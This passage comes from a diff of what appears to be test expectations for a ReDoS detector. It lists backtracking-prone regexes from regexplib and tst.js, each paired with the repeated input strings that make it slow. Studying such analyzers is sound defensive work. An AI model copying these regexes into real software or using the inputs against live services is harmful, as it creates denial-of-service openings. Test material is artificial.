(?<FirstName>[A-Z]\\.?\\w*\\-?[A-Z]?\\w*)\\s?(?<MiddleName>[A-Z]\\w+\|[A-Z]?\\.?)\\s(?<LastName>[A-Z]?\\w{0,3}[A-Z]\\w+\\-?[A-Z]?\\w*)(?:,\\s\|)(?<Suffix>Jr\\.\|Sr\\.\|IV\|III\|II\|) | -| regexplib/strings.js:32:61:32:63 | \\w+ | Strings starting with 'AA' and with many repetitions of 'A' can start matching anywhere after the start of the preceeding (?<FirstName>[A-Z]\\.?\\w*\\-?[A-Z]?\\w*)\\s?(?<MiddleName>[A-Z]\\w+\|[A-Z]?\\.?)\\s(?<LastName>[A-Z]?\\w{0,3}[A-Z]\\w+\\-?[A-Z]?\\w*)(?:,\\s\|)(?<Suffix>Jr\\.\|Sr\\.\|IV\|III\|II\|) | +| regexplib/strings.js:32:35:32:37 | \\w* | Strings starting with 'A' and with many repetitions of 'A' can start matching anywhere after the start of the preceeding \\w* | +| regexplib/strings.js:32:61:32:63 | \\w+ | Strings starting with 'AA' and with many repetitions of 'A' can start matching anywhere after the start of the preceeding \\w* | | regexplib/strings.js:32:119:32:121 | \\w* | Strings with many repetitions of 'aA' can start matching anywhere after the start of the preceeding \\w+ | | regexplib/strings.js:40:3:40:5 | \\w+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (\\w+)\\s+\\1 | | regexplib/strings.js:48:3:48:12 | [^\\.\\?\\!]* | Strings with many repetitions of ' ' can start matching anywhere after the start of the preceeding ([^\\.\\?\\!]*)[\\.\\?\\!] | | regexplib/strings.js:49:3:49:5 | \\S+ | Strings with many repetitions of '!' can start matching anywhere after the start of the preceeding (\\S+)\\x20{2,}(?=\\S+) | -| regexplib/strings.js:53:25:53:33 | [a-z0-9]+ | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding [\\-a-z0-9]* | -| regexplib/strings.js:53:65:53:73 | [a-z0-9]+ | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding [\\-a-z0-9]* | +| regexplib/strings.js:53:25:53:33 | [a-z0-9]+ | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding [a-z0-9]+ | +| regexplib/strings.js:53:65:53:73 | [a-z0-9]+ | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding [a-z0-9]+ | | regexplib/strings.js:54:20:54:22 | \\w+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (NOT)?(\\s*\\(*)\\s*(\\w+)\\s*(=\|<>\|<\|>\|LIKE\|IN)\\s*(\\(([^\\)]*)\\)\|'([^']*)'\|(-?\\d*\\.?\\d+))(\\s*\\)*\\s*)(AND\|OR)? | | regexplib/strings.js:56:52:56:53 | .+ | Strings starting with 'PRN.' and with many repetitions of '.' can start matching anywhere after the start of the preceeding .* | | regexplib/strings.js:57:36:57:38 | .*? | Strings starting with '?se[A' and with many repetitions of '?se[Aa' can start matching anywhere after the start of the preceeding (?s)(?:\\e\\[(?:(\\d+);?)*([A-Za-z])(.*?))(?=\\e\\[\|\\z) | | regexplib/strings.js:64:3:64:5 | \\w+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (\\w+)\\s+\\1 | | regexplib/strings.js:70:6:70:17 | [a-zA-Z,\\s]+ | Strings with many repetitions of '\\t' can start matching anywhere after the start of the preceeding \\s* | -| regexplib/strings.js:70:18:70:20 | \\s* | Strings starting with '\\t' and with many repetitions of '\\t' can start matching anywhere after the start of the preceeding [a-zA-Z,\\s]+ | -| regexplib/strings.js:72:35:72:37 | \\w* | Strings starting with 'A' and with many repetitions of 'A' can start matching anywhere after the start of the preceeding (?<FirstName>[A-Z]\\.?\\w*\\-?[A-Z]?\\w*)\\s?(?<MiddleName>[A-Z]\\w+\|[A-Z]?\\.?)\\s(?<LastName>[A-Z]?\\w{0,3}[A-Z]\\w+\\-?[A-Z]?\\w*)(?:,\\s\|)(?<Suffix>Jr\\.\|Sr\\.\|IV\|III\|II\|) | -| regexplib/strings.js:72:61:72:63 | \\w+ | Strings starting with 'AA' and with many repetitions of 'A' can start matching anywhere after the start of the preceeding (?<FirstName>[A-Z]\\.?\\w*\\-?[A-Z]?\\w*)\\s?(?<MiddleName>[A-Z]\\w+\|[A-Z]?\\.?)\\s(?<LastName>[A-Z]?\\w{0,3}[A-Z]\\w+\\-?[A-Z]?\\w*)(?:,\\s\|)(?<Suffix>Jr\\.\|Sr\\.\|IV\|III\|II\|) | +| regexplib/strings.js:70:18:70:20 | \\s* | Strings starting with '\\t' and with many repetitions of '\\t' can start matching anywhere after the start of the preceeding \\s* | +| regexplib/strings.js:72:35:72:37 | \\w* | Strings starting with 'A' and with many repetitions of 'A' can start matching anywhere after the start of the preceeding \\w* | +| regexplib/strings.js:72:61:72:63 | \\w+ | Strings starting with 'AA' and with many repetitions of 'A' can start matching anywhere after the start of the preceeding \\w* | | regexplib/strings.js:72:119:72:121 | \\w* | Strings with many repetitions of 'aA' can start matching anywhere after the start of the preceeding \\w+ | | regexplib/strings.js:73:2:73:3 | .* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding .*\\$AVE | | regexplib/strings.js:74:2:74:3 | .* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding .*[Pp]re[Ss\\$]cr[iI1]pt.* | @@ -322,11 +322,11 @@ | regexplib/strings.js:82:20:82:22 | \\w+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (NOT)?(\\s*\\(*)\\s*(\\w+)\\s*(=\|<>\|<\|>\|LIKE\|IN)\\s*(\\(([^\\)]*)\\)\|'([^']*)'\|(-?\\d*\\.?\\d+))(\\s*\\)*\\s*)(AND\|OR)? | | regexplib/strings.js:88:3:88:12 | [^\\.\\?\\!]* | Strings with many repetitions of ' ' can start matching anywhere after the start of the preceeding ([^\\.\\?\\!]*)[\\.\\?\\!] | | regexplib/strings.js:89:3:89:5 | \\S+ | Strings with many repetitions of '!' can start matching anywhere after the start of the preceeding (\\S+)\\x20{2,}(?=\\S+) | -| regexplib/uri.js:3:149:3:151 | .*? | Strings starting with 'ftp:// ' and with many repetitions of '/ /' can start matching anywhere after the start of the preceeding (?:(?<protocol>http(?:s?)\|ftp)(?:\\:\\/\\/)) (?:(?<usrpwd>\\w+\\:\\w+)(?:\\@))? (?<domain>[^/\\r\\n\\:]+)? (?<port>\\:\\d+)? (?<path>(?:\\/.*)*\\/)? (?<filename>.*?\\.(?<ext>\\w{2,4}))? (?<qrystr>\\??(?:\\w+\\=[^\\#]+)(?:\\&?\\w+\\=\\w+)*)* (?<bkmrk>\\#.*)? | -| regexplib/uri.js:3:188:3:190 | \\w+ | Strings starting with 'ftp:// ' and with many repetitions of '00' can start matching anywhere after the start of the preceeding (?:(?<protocol>http(?:s?)\|ftp)(?:\\:\\/\\/)) (?:(?<usrpwd>\\w+\\:\\w+)(?:\\@))? (?<domain>[^/\\r\\n\\:]+)? (?<port>\\:\\d+)? (?<path>(?:\\/.*)*\\/)? (?<filename>.*?\\.(?<ext>\\w{2,4}))? (?<qrystr>\\??(?:\\w+\\=[^\\#]+)(?:\\&?\\w+\\=\\w+)*)* (?<bkmrk>\\#.*)? | -| regexplib/uri.js:3:193:3:198 | [^\\#]+ | Strings starting with 'ftp:// a=' and with many repetitions of '00=' can start matching anywhere after the start of the preceeding (?:(?<protocol>http(?:s?)\|ftp)(?:\\:\\/\\/)) (?:(?<usrpwd>\\w+\\:\\w+)(?:\\@))? (?<domain>[^/\\r\\n\\:]+)? (?<port>\\:\\d+)? (?<path>(?:\\/.*)*\\/)? (?<filename>.*?\\.(?<ext>\\w{2,4}))? (?<qrystr>\\??(?:\\w+\\=[^\\#]+)(?:\\&?\\w+\\=\\w+)*)* (?<bkmrk>\\#.*)? | -| regexplib/uri.js:3:206:3:208 | \\w+ | Strings starting with 'ftp:// a="' and with many repetitions of '00' can start matching anywhere after the start of the preceeding (?:(?<protocol>http(?:s?)\|ftp)(?:\\:\\/\\/)) (?:(?<usrpwd>\\w+\\:\\w+)(?:\\@))? (?<domain>[^/\\r\\n\\:]+)? (?<port>\\:\\d+)? (?<path>(?:\\/.*)*\\/)? (?<filename>.*?\\.(?<ext>\\w{2,4}))? (?<qrystr>\\??(?:\\w+\\=[^\\#]+)(?:\\&?\\w+\\=\\w+)*)* (?<bkmrk>\\#.*)? | -| regexplib/uri.js:3:211:3:213 | \\w+ | Strings starting with 'ftp:// a="a=' and with many repetitions of '00=' can start matching anywhere after the start of the preceeding (?:(?<protocol>http(?:s?)\|ftp)(?:\\:\\/\\/)) (?:(?<usrpwd>\\w+\\:\\w+)(?:\\@))? (?<domain>[^/\\r\\n\\:]+)? (?<port>\\:\\d+)? (?<path>(?:\\/.*)*\\/)? (?<filename>.*?\\.(?<ext>\\w{2,4}))? (?<qrystr>\\??(?:\\w+\\=[^\\#]+)(?:\\&?\\w+\\=\\w+)*)* (?<bkmrk>\\#.*)? | +| regexplib/uri.js:3:149:3:151 | .*? | Strings starting with 'ftp:// ' and with many repetitions of '/ /' can start matching anywhere after the start of the preceeding .* | +| regexplib/uri.js:3:188:3:190 | \\w+ | Strings starting with 'ftp:// ' and with many repetitions of '00' can start matching anywhere after the start of the preceeding .* | +| regexplib/uri.js:3:193:3:198 | [^\\#]+ | Strings starting with 'ftp:// a=' and with many repetitions of '00=' can start matching anywhere after the start of the preceeding .* | +| regexplib/uri.js:3:206:3:208 | \\w+ | Strings starting with 'ftp:// a="' and with many repetitions of '00' can start matching anywhere after the start of the preceeding .* | +| regexplib/uri.js:3:211:3:213 | \\w+ | Strings starting with 'ftp:// a="a=' and with many repetitions of '00=' can start matching anywhere after the start of the preceeding .* | | regexplib/uri.js:5:42:5:43 | .* | Strings starting with 'A:\\\\a' and with many repetitions of ' ' can start matching anywhere after the start of the preceeding [\\w ]* | | regexplib/uri.js:14:175:14:213 | [\\d\\w\\.\\/\\%\\+\\-\\=\\&\\?\\:\\\\\\"\\'\\,\\\|\\~\\;]* | Strings with many repetitions of '.ac+' can start matching anywhere after the start of the preceeding [\\d\\w\\.\\/\\+\\-\\?\\:]* | | regexplib/uri.js:17:42:17:43 | .* | Strings starting with 'A:\\\\a' and with many repetitions of ' ' can start matching anywhere after the start of the preceeding [\\w ]* | @@ -355,46 +355,46 @@ | regexplib/uri.js:29:48:29:62 | [a-zA-Z0-9\\.-]+ | Strings starting with 'wwwa' and with many repetitions of 'www--' can start matching anywhere after the start of the preceeding ((http\\:\\/\\/\|https\\:\\/\\/\|ftp\\:\\/\\/)\|(www.))+ | | regexplib/uri.js:31:65:31:69 | [^<]+ | Strings starting with 'href=! >' and with many repetitions of 'href=! >;' can start matching anywhere after the start of the preceeding href\\s*=\\s*(?:(?:\\"(?<url>[^\\"]*)\\")\|(?<url>[^\\s*] ))>(?<title>[^<]+)<\\/\\w> | | regexplib/uri.js:36:40:36:42 | \\d* | Strings starting with '$1' and with many repetitions of '1' can start matching anywhere after the start of the preceeding [1-9]+ | -| regexplib/uri.js:38:20:38:28 | [a-z0-9]+ | Strings starting with 'a' and with many repetitions of '0' can start matching anywhere after the start of the preceeding [a-z0-9-]* | -| regexplib/uri.js:38:35:38:40 | [a-z]+ | Strings starting with 'a.' and with many repetitions of 'aa' can start matching anywhere after the start of the preceeding ([a-z]+([a-z0-9-]*[a-z0-9]+)?)+ | -| regexplib/uri.js:38:52:38:60 | [a-z0-9]+ | Strings starting with 'a.a' and with many repetitions of '0' can start matching anywhere after the start of the preceeding ([a-z]+([a-z0-9-]*[a-z0-9]+)?)+ | -| regexplib/uri.js:39:7:39:9 | .*? | Strings starting with '<a' and with many repetitions of ' ' can start matching anywhere after the start of the preceeding <a\\s*.*?href\\s*=\\s*['"](?!http:\\/\\/).*?>(.*?)<\\/a> | +| regexplib/uri.js:38:20:38:28 | [a-z0-9]+ | Strings starting with 'a' and with many repetitions of '0' can start matching anywhere after the start of the preceeding [a-z]+ | +| regexplib/uri.js:38:35:38:40 | [a-z]+ | Strings starting with 'a.' and with many repetitions of 'aa' can start matching anywhere after the start of the preceeding [a-z0-9]+ | +| regexplib/uri.js:38:52:38:60 | [a-z0-9]+ | Strings starting with 'a.a' and with many repetitions of '0' can start matching anywhere after the start of the preceeding [a-z]+ | +| regexplib/uri.js:39:7:39:9 | .*? | Strings starting with '<a' and with many repetitions of ' ' can start matching anywhere after the start of the preceeding \\s* | | regexplib/uri.js:39:43:39:45 | .*? | Strings with many repetitions of '>a' can start matching anywhere after the start of the preceeding .*? | | regexplib/uri.js:41:16:41:31 | [a-zA-Z0-9\\-\\.]+ | Strings starting with '0' and with many repetitions of '00' can start matching anywhere after the start of the preceeding [a-zA-Z0-9]+ | | regexplib/uri.js:47:31:47:36 | [\\w-]+ | Strings with many repetitions of '-' can start matching anywhere after the start of the preceeding [\\w-\\s]* | | regexplib/uri.js:51:51:51:53 | \\S+ | Strings with many repetitions of '!@' can start matching anywhere after the start of the preceeding \\S+ | | regexplib/uri.js:54:40:54:42 | \\d* | Strings starting with '$1' and with many repetitions of '1' can start matching anywhere after the start of the preceeding [1-9]+ | -| regexplib/uri.js:55:20:55:28 | [a-z0-9]+ | Strings starting with 'a' and with many repetitions of '0' can start matching anywhere after the start of the preceeding [a-z0-9-]* | -| regexplib/uri.js:55:35:55:40 | [a-z]+ | Strings starting with 'a.' and with many repetitions of 'aa' can start matching anywhere after the start of the preceeding ([a-z]+([a-z0-9-]*[a-z0-9]+)?)+ | -| regexplib/uri.js:55:52:55:60 | [a-z0-9]+ | Strings starting with 'a.a' and with many repetitions of '0' can start matching anywhere after the start of the preceeding ([a-z]+([a-z0-9-]*[a-z0-9]+)?)+ | +| regexplib/uri.js:55:20:55:28 | [a-z0-9]+ | Strings starting with 'a' and with many repetitions of '0' can start matching anywhere after the start of the preceeding [a-z]+ | +| regexplib/uri.js:55:35:55:40 | [a-z]+ | Strings starting with 'a.' and with many repetitions of 'aa' can start matching anywhere after the start of the preceeding [a-z0-9]+ | +| regexplib/uri.js:55:52:55:60 | [a-z0-9]+ | Strings starting with 'a.a' and with many repetitions of '0' can start matching anywhere after the start of the preceeding [a-z]+ | | regexplib/uri.js:58:2:58:45 | ((http\\:\\/\\/\|https\\:\\/\\/\|ftp\\:\\/\\/)\|(www.))+ | Strings with many repetitions of 'wwwa' can start matching anywhere after the start of the preceeding ((http\\:\\/\\/\|https\\:\\/\\/\|ftp\\:\\/\\/)\|(www.))+(([a-zA-Z0-9\\.-]+\\.[a-zA-Z]{2,4})\|([0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}))(\\/[a-zA-Z0-9%:/-_\\?\\.'~]*)? | | regexplib/uri.js:58:48:58:62 | [a-zA-Z0-9\\.-]+ | Strings starting with 'wwwa' and with many repetitions of 'www--' can start matching anywhere after the start of the preceeding ((http\\:\\/\\/\|https\\:\\/\\/\|ftp\\:\\/\\/)\|(www.))+ | | regexplib/uri.js:64:31:64:36 | [\\w-]+ | Strings with many repetitions of '-' can start matching anywhere after the start of the preceeding [\\w-\\s]* | | regexplib/uri.js:70:16:70:31 | [a-zA-Z0-9\\-\\.]+ | Strings starting with '0' and with many repetitions of '00' can start matching anywhere after the start of the preceeding [a-zA-Z0-9]+ | | regexplib/uri.js:71:75:71:89 | [^\\/\\\\:*?"<>\|]+ | Strings starting with 'A:\\\\!.' and with many repetitions of '!.' can start matching anywhere after the start of the preceeding [^\\/\\\\:*?"<>\|]+ | | tst.js:14:15:14:16 | .* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (.*,)+ | -| tst.js:23:21:23:28 | [\\s\\S]*? | Strings starting with '(*' and with many repetitions of '(*a' can start matching anywhere after the start of the preceeding (?:[\\s\\S]*?\\(\\*[\\s\\S]*?\\*\\))* | -| tst.js:23:33:23:40 | [\\s\\S]*? | Strings starting with '(*(*' and with many repetitions of '(*' can start matching anywhere after the start of the preceeding (?:[\\s\\S]*?\\(\\*[\\s\\S]*?\\*\\))* | -| tst.js:23:47:23:54 | [\\s\\S]*? | Strings starting with '(*' and with many repetitions of '(*a' can start matching anywhere after the start of the preceeding (?:[\\s\\S]*?\\(\\*[\\s\\S]*?\\*\\))* | +| tst.js:23:21:23:28 | [\\s\\S]*? | Strings starting with '(*' and with many repetitions of '(*a' can start matching anywhere after the start of the preceeding [\\s\\S]*? | +| tst.js:23:33:23:40 | [\\s\\S]*? | Strings starting with '(*(*' and with many repetitions of '(*' can start matching anywhere after the start of the preceeding [\\s\\S]*? | +| tst.js:23:47:23:54 | [\\s\\S]*? | Strings starting with '(*' and with many repetitions of '(*a' can start matching anywhere after the start of the preceeding [\\s\\S]*? | | tst.js:28:24:28:25 | .* | Strings starting with '!\|' and with many repetitions of '\|' can start matching anywhere after the start of the preceeding .* | | tst.js:28:59:28:60 | .* | Strings starting with '!\|\\n-\|\\n\|' and with many repetitions of '\|' can start matching anywhere after the start of the preceeding .* | | tst.js:31:23:31:24 | .* | Strings starting with '!\|' and with many repetitions of '\|' can start matching anywhere after the start of the preceeding .* | | tst.js:31:54:31:55 | .* | Strings starting with '!\|\\n-\|\\n' and with many repetitions of '\|\\n\|' can start matching anywhere after the start of the preceeding .* | | tst.js:31:58:31:59 | .* | Strings starting with '!\|\\n-\|\\n\|' and with many repetitions of '\|' can start matching anywhere after the start of the preceeding .* | | tst.js:41:14:41:30 | ([\\s\\[\\{\\(]\|#.*)* | Strings with many repetitions of '\\t' can start matching anywhere after the start of the preceeding .* | -| tst.js:47:21:47:43 | (?:[^"']\|".*?"\|'.*?')*? | Strings with many repetitions of '!' can start matching anywhere after the start of the preceeding ((?:[^"']\|".*?"\|'.*?')*?)([(,)]\|$) | -| tst.js:47:31:47:33 | .*? | Strings starting with '"' and with many repetitions of '"' can start matching anywhere after the start of the preceeding ((?:[^"']\|".*?"\|'.*?')*?)([(,)]\|$) | -| tst.js:47:37:47:39 | .*? | Strings starting with ''' and with many repetitions of ''' can start matching anywhere after the start of the preceeding ((?:[^"']\|".*?"\|'.*?')*?)([(,)]\|$) | +| tst.js:47:21:47:43 | (?:[^"']\|".*?"\|'.*?')*? | Strings with many repetitions of '!' can start matching anywhere after the start of the preceeding .*? | +| tst.js:47:31:47:33 | .*? | Strings starting with '"' and with many repetitions of '"' can start matching anywhere after the start of the preceeding .*? | +| tst.js:47:37:47:39 | .*? | Strings starting with ''' and with many repetitions of ''' can start matching anywhere after the start of the preceeding .*? | | tst.js:52:34:52:43 | (\\[.*?\\])* | Strings starting with '$' and with many repetitions of '[]' can start matching anywhere after the start of the preceeding .*? | | tst.js:52:37:52:39 | .*? | Strings starting with '$[' and with many repetitions of '[]' can start matching anywhere after the start of the preceeding (\\[.*?\\])* | -| tst.js:52:67:52:76 | (\\[.*?\\])* | Strings starting with '$.$' and with many repetitions of '[]' can start matching anywhere after the start of the preceeding (\\[.*?\\])* | -| tst.js:52:70:52:72 | .*? | Strings starting with '$.$[' and with many repetitions of '[]' can start matching anywhere after the start of the preceeding (\\[.*?\\])* | +| tst.js:52:67:52:76 | (\\[.*?\\])* | Strings starting with '$.$' and with many repetitions of '[]' can start matching anywhere after the start of the preceeding .*? | +| tst.js:52:70:52:72 | .*? | Strings starting with '$.$[' and with many repetitions of '[]' can start matching anywhere after the start of the preceeding .*? | | tst.js:58:15:58:20 | [a-z]+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding ([a-z]+)+ | | tst.js:60:43:60:54 | [a-zA-Z0-9]+ | Strings starting with '0' and with many repetitions of '0' can start matching anywhere after the start of the preceeding (([\\\\-.]\|[_]+)?([a-zA-Z0-9]+))* | | tst.js:61:16:61:23 | ([a-z])+ | Strings with many repetitions of 'aa' can start matching anywhere after the start of the preceeding (([a-z])+.)+ | -| tst.js:66:16:66:31 | [\\w#:.~>+()\\s-]+ | Strings with many repetitions of '\\t' can start matching anywhere after the start of the preceeding (([\\w#:.~>+()\\s-]+\|\\*\|\\[.*?\\])+)\\s*(,\|$) | -| tst.js:66:38:66:40 | .*? | Strings starting with '[' and with many repetitions of '[' can start matching anywhere after the start of the preceeding (([\\w#:.~>+()\\s-]+\|\\*\|\\[.*?\\])+)\\s*(,\|$) | -| tst.js:66:46:66:48 | \\s* | Strings starting with '*' and with many repetitions of '\\t' can start matching anywhere after the start of the preceeding (([\\w#:.~>+()\\s-]+\|\\*\|\\[.*?\\])+)\\s*(,\|$) | +| tst.js:66:16:66:31 | [\\w#:.~>+()\\s-]+ | Strings with many repetitions of '\\t' can start matching anywhere after the start of the preceeding .*? | +| tst.js:66:38:66:40 | .*? | Strings starting with '[' and with many repetitions of '[' can start matching anywhere after the start of the preceeding [\\w#:.~>+()\\s-]+ | +| tst.js:66:46:66:48 | \\s* | Strings starting with '*' and with many repetitions of '\\t' can start matching anywhere after the start of the preceeding [\\w#:.~>+()\\s-]+ | | tst.js:71:19:71:26 | (\\\\?.)*? | Strings starting with '"' and with many repetitions of '"' can start matching anywhere after the start of the preceeding ("\|')(\\\\?.)*?\\1 | | tst.js:74:14:74:21 | (b\|a?b)* | Strings with many repetitions of 'b' can start matching anywhere after the start of the preceeding (b\|a?b)*c | | tst.js:77:14:77:21 | (a\|aa?)* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a\|aa?)*b | @@ -424,17 +424,17 @@ | tst.js:164:15:164:24 | (\\S\|[\\w])* | Strings with many repetitions of '!' can start matching anywhere after the start of the preceeding ((\\S\|[\\w])*)" | | tst.js:167:15:167:27 | (1s\|[\\da-z])* | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding ((1s\|[\\da-z])*)" | | tst.js:170:15:170:23 | (0\|[\\d])* | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding ((0\|[\\d])*)" | -| tst.js:173:16:173:20 | [\\d]+ | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding (([\\d]+)*)" | +| tst.js:173:16:173:20 | [\\d]+ | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding ([\\d]+)* | | tst.js:185:16:185:21 | [^>a]+ | Strings with many repetitions of '=' can start matching anywhere after the start of the preceeding ([^>a]+)* | | tst.js:188:17:188:19 | \\s* | Strings starting with '\\n' and with many repetitions of '\\n' can start matching anywhere after the start of the preceeding (\\n\\s*)+$ | -| tst.js:191:18:191:20 | \\s+ | Strings with many repetitions of ' ' can start matching anywhere after the start of the preceeding (?:\\s+\|#.*\|\\(\\?#[^)]*\\))* | -| tst.js:191:31:191:35 | [^)]* | Strings starting with '(?#' and with many repetitions of '(?#' can start matching anywhere after the start of the preceeding (?:\\s+\|#.*\|\\(\\?#[^)]*\\))* | +| tst.js:191:18:191:20 | \\s+ | Strings with many repetitions of ' ' can start matching anywhere after the start of the preceeding .* | +| tst.js:191:31:191:35 | [^)]* | Strings starting with '(?#' and with many repetitions of '(?#' can start matching anywhere after the start of the preceeding .* | | tst.js:194:53:194:61 | [a-zA-Z]+ | Strings starting with '{[A(A)' and with many repetitions of 'AA' can start matching anywhere after the start of the preceeding [ a-zA-Z{}]+ | -| tst.js:194:68:194:79 | [ a-zA-Z{}]+ | Strings starting with '{[A(A)A:' and with many repetitions of ' A: ' can start matching anywhere after the start of the preceeding [a-zA-Z]+ | +| tst.js:194:68:194:79 | [ a-zA-Z{}]+ | Strings starting with '{[A(A)A:' and with many repetitions of ' A: ' can start matching anywhere after the start of the preceeding \\s* | | tst.js:194:87:194:89 | \\s* | Strings starting with '{[A(A)' and with many repetitions of ' ' can start matching anywhere after the start of the preceeding [ a-zA-Z{}]+ | | tst.js:197:15:197:16 | a+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a+\|b+\|c+)* | | tst.js:197:18:197:19 | b+ | Strings with many repetitions of 'b' can start matching anywhere after the start of the preceeding (a+\|b+\|c+)* | -| tst.js:200:17:200:18 | a+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (((a+a?)*)+b+) | +| tst.js:200:17:200:18 | a+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a+a?)* | | tst.js:203:15:203:16 | a+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a+)+ | | tst.js:209:15:209:16 | a+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a+)+ | | tst.js:215:15:215:17 | \\n+ | Strings with many repetitions of '\\n' can start matching anywhere after the start of the preceeding (\\n+)+ | @@ -443,28 +443,28 @@ | tst.js:227:15:227:22 | ([^X]b)+ | Strings with many repetitions of 'Wb' can start matching anywhere after the start of the preceeding (([^X]b)+)* | | tst.js:239:15:239:19 | (ab)+ | Strings with many repetitions of 'ab' can start matching anywhere after the start of the preceeding ((ab)+)* | | tst.js:245:15:245:21 | [\\n\\s]+ | Strings with many repetitions of '\\n' can start matching anywhere after the start of the preceeding ([\\n\\s]+)* | -| tst.js:248:18:248:19 | A* | Strings with many repetitions of 'A' can start matching anywhere after the start of the preceeding (A*A*X)* | -| tst.js:254:15:254:17 | \\w* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (\\w*foobarbaz\\w*foobarbaz\\w*foobarbaz\\w*foobarbaz\\s*foobarbaz\\d*foobarbaz\\w*)+- | -| tst.js:254:27:254:29 | \\w* | Strings starting with 'foobarbaz' and with many repetitions of 'foobarbaz' can start matching anywhere after the start of the preceeding (\\w*foobarbaz\\w*foobarbaz\\w*foobarbaz\\w*foobarbaz\\s*foobarbaz\\d*foobarbaz\\w*)+- | -| tst.js:254:39:254:41 | \\w* | Strings starting with 'foobarbazfoobarbaz' and with many repetitions of 'foobarbaz' can start matching anywhere after the start of the preceeding (\\w*foobarbaz\\w*foobarbaz\\w*foobarbaz\\w*foobarbaz\\s*foobarbaz\\d*foobarbaz\\w*)+- | -| tst.js:254:51:254:53 | \\w* | Strings starting with 'foobarbazfoobarbazfoobarbaz' and with many repetitions of 'foobarbaz' can start matching anywhere after the start of the preceeding (\\w*foobarbaz\\w*foobarbaz\\w*foobarbaz\\w*foobarbaz\\s*foobarbaz\\d*foobarbaz\\w*)+- | -| tst.js:254:63:254:65 | \\s* | Strings starting with 'foobarbazfoobarbazfoobarbazfoobarbaz' and with many repetitions of 'foobarbazfoobarbazfoobarbazfoobarbazfoobarbazfoobarbaz' can start matching anywhere after the start of the preceeding (\\w*foobarbaz\\w*foobarbaz\\w*foobarbaz\\w*foobarbaz\\s*foobarbaz\\d*foobarbaz\\w*)+- | -| tst.js:254:75:254:77 | \\d* | Strings starting with 'foobarbazfoobarbazfoobarbazfoobarbazfoobarbaz' and with many repetitions of 'foobarbazfoobarbazfoobarbazfoobarbazfoobarbazfoobarbaz' can start matching anywhere after the start of the preceeding (\\w*foobarbaz\\w*foobarbaz\\w*foobarbaz\\w*foobarbaz\\s*foobarbaz\\d*foobarbaz\\w*)+- | +| tst.js:248:18:248:19 | A* | Strings with many repetitions of 'A' can start matching anywhere after the start of the preceeding A* | +| tst.js:254:15:254:17 | \\w* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding \\d* | +| tst.js:254:27:254:29 | \\w* | Strings starting with 'foobarbaz' and with many repetitions of 'foobarbaz' can start matching anywhere after the start of the preceeding \\d* | +| tst.js:254:39:254:41 | \\w* | Strings starting with 'foobarbazfoobarbaz' and with many repetitions of 'foobarbaz' can start matching anywhere after the start of the preceeding \\d* | +| tst.js:254:51:254:53 | \\w* | Strings starting with 'foobarbazfoobarbazfoobarbaz' and with many repetitions of 'foobarbaz' can start matching anywhere after the start of the preceeding \\d* | +| tst.js:254:63:254:65 | \\s* | Strings starting with 'foobarbazfoobarbazfoobarbazfoobarbaz' and with many repetitions of 'foobarbazfoobarbazfoobarbazfoobarbazfoobarbazfoobarbaz' can start matching anywhere after the start of the preceeding \\d* | +| tst.js:254:75:254:77 | \\d* | Strings starting with 'foobarbazfoobarbazfoobarbazfoobarbazfoobarbaz' and with many repetitions of 'foobarbazfoobarbazfoobarbazfoobarbazfoobarbazfoobarbaz' can start matching anywhere after the start of the preceeding \\s* | | tst.js:257:14:257:116 | (.thisisagoddamnlongstringforstresstestingthequery\|\\sthisisagoddamnlongstringforstresstestingthequery)* | Strings with many repetitions of ' thisisagoddamnlongstringforstresstestingthequery' can start matching anywhere after the start of the preceeding (.thisisagoddamnlongstringforstresstestingthequery\|\\sthisisagoddamnlongstringforstresstestingthequery)*- | -| tst.js:260:14:260:77 | (thisisagoddamnlongstringforstresstestingthequery\|this\\w+query)* | Strings with many repetitions of 'thisaquery' can start matching anywhere after the start of the preceeding (thisisagoddamnlongstringforstresstestingthequery\|this\\w+query)*- | +| tst.js:260:14:260:77 | (thisisagoddamnlongstringforstresstestingthequery\|this\\w+query)* | Strings with many repetitions of 'thisaquery' can start matching anywhere after the start of the preceeding \\w+ | | tst.js:260:68:260:70 | \\w+ | Strings starting with 'this' and with many repetitions of 'this' can start matching anywhere after the start of the preceeding (thisisagoddamnlongstringforstresstestingthequery\|this\\w+query)* | | tst.js:263:15:263:117 | (thisisagoddamnlongstringforstresstestingthequery\|imanotherbutunrelatedstringcomparedtotheotherstring)* | Strings with many repetitions of 'thisisagoddamnlongstringforstresstestingthequery' can start matching anywhere after the start of the preceeding (thisisagoddamnlongstringforstresstestingthequery\|imanotherbutunrelatedstringcomparedtotheotherstring)*- | | tst.js:272:21:272:22 | b+ | Strings with many repetitions of 'b' can start matching anywhere after the start of the preceeding (b+)+ | | tst.js:275:25:275:27 | \\s+ | Strings starting with '<a' and with many repetitions of ' 0=" 0=" ' can start matching anywhere after the start of the preceeding [^"]* | | tst.js:275:28:275:30 | \\w+ | Strings starting with '<a ' and with many repetitions of '0=" 0=" ' can start matching anywhere after the start of the preceeding [^"]* | | tst.js:275:34:275:36 | \\s* | Strings starting with '<a a' and with many repetitions of '=" 0=" 0 ' can start matching anywhere after the start of the 